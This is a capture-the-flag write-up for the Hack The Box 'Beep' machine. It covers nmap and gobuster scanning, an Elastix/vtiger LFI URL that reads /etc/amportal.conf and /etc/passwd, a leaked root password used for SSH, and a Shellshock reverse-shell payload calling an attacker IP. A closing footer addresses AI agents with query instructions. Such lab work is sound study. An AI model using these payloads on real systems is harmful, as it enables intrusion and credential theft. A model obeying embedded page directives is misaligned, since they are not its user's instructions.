# Beep

<div align="left"><figure><img src="/files/yrlresxnCmI0bOs4R83Q" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:red;">nmap:</mark>

As usual let's start by scanning open services using nmap

```python
nmap -sC -sV -oA beep 10.10.10.7
```

<div align="left"><figure><img src="/files/9QvP39RAs7kcDv0hcEiC" alt=""><figcaption></figcaption></figure></div>

### <mark style="color:red;">content discovery using gobuster :</mark>&#x20;

```python
gobuster dir -u https://10.10.10.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 200 --no-error
```

<div align="left"><figure><img src="/files/MOXqDBiQPR2pPQOCkPXG" alt=""><figcaption></figcaption></figure></div>

if we browse to /admin it will promp as for the admin password if you dont have a password it will show this page

<div align="left"><figure><img src="/files/PRe1TCL7fXw6xP5zLGvW" alt=""><figcaption></figcaption></figure></div>

i couldn't go any further so i checked for elastix exploits using searchsploit

<div align="left"><figure><img src="/files/nZrNYmhuT8RdebqfQkIQ" alt=""><figcaption></figcaption></figure></div>

the one that seems to work is the LFI vulnerabiility&#x20;

let run the command `searchsploit -x <PATH>` to analyze the exploit

<div align="left"><figure><img src="/files/Kw1Hn5vpYBE2TGFVtY0o" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Method 1 => LFI to RCE</mark>&#x20;

now let's vesit the exploitDB url to take a look at the exploit

{% embed url="<https://www.exploit-db.com/exploits/37637>" %}

<div align="left"><figure><img src="/files/913LrZ95kaZwgJ7cYUFE" alt=""><figcaption></figcaption></figure></div>

let's visit this path&#x20;

```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```

<figure><img src="/files/8xWtawkHa65gMBP3rRcE" alt=""><figcaption></figcaption></figure>

reviewing the source code of this page reveals the admin password

<div align="left"><figure><img src="/files/vExYxD6GAxmjnLQKLlW1" alt=""><figcaption></figcaption></figure></div>

we can use this password to login to the elastix login form

now let's disclose /etc/password&#x20;

```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action
```

<div align="left"><figure><img src="/files/MCuekH3oT7z4PbgafA06" alt=""><figcaption></figcaption></figure></div>

now ssh to the beep box as the user root and the password we have found in the amportal.conf page

<mark style="color:blue;">**root : jEhdIekWmdjE**</mark>&#x20;

```python
ssh root@10.10.10.7
```

## <mark style="color:red;">Method 2 => RCE through Shellshock</mark>

after doing nmap we found out that there is an open port on 10000 running Webmin httpd let's visit it:&#x20;

when we submit wrong credentials it shows the session\_login.cgi directory&#x20;

![](/files/vgqbFux8laHr1HvfUrOf)

cgi scripts use the Bash shell for processing user input were particularly susceptible to exploitation and there was a famous exploitation called shellshock which exploit cgi script to execute arbitrary code&#x20;

<div align="left"><figure><img src="/files/ESk8ysCmgcf4D0did817" alt=""><figcaption></figcaption></figure></div>

so let's test if this cgi is vulnerable to shellshock attack

let's capture the login submit using burp suite and replace the user agent value with a bash one-liner reverse shell shellshock payload

```python
() { :;}; bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1
```

before sending this request we have to start listening on the port we specified in the payload for me it was 443

<div align="left"><figure><img src="/files/SHJZF1w8rG4fTXtmcqMb" alt=""><figcaption></figcaption></figure></div>

and now let's send the request using burp

<div align="left"><figure><img src="/files/otXqd90wbnNolCrbz5gS" alt=""><figcaption></figcaption></figure></div>

and we get back a reverse shell

<div align="left"><figure><img src="/files/bdo0KmXpd6mOcTnCaN7k" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/Mc36FYkBKnACpdfBfu2P" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">Sayonara</mark>](https://github.com/ismail-arame)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sayonara.gitbook.io/writeups/hackthebox/machines/beep.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
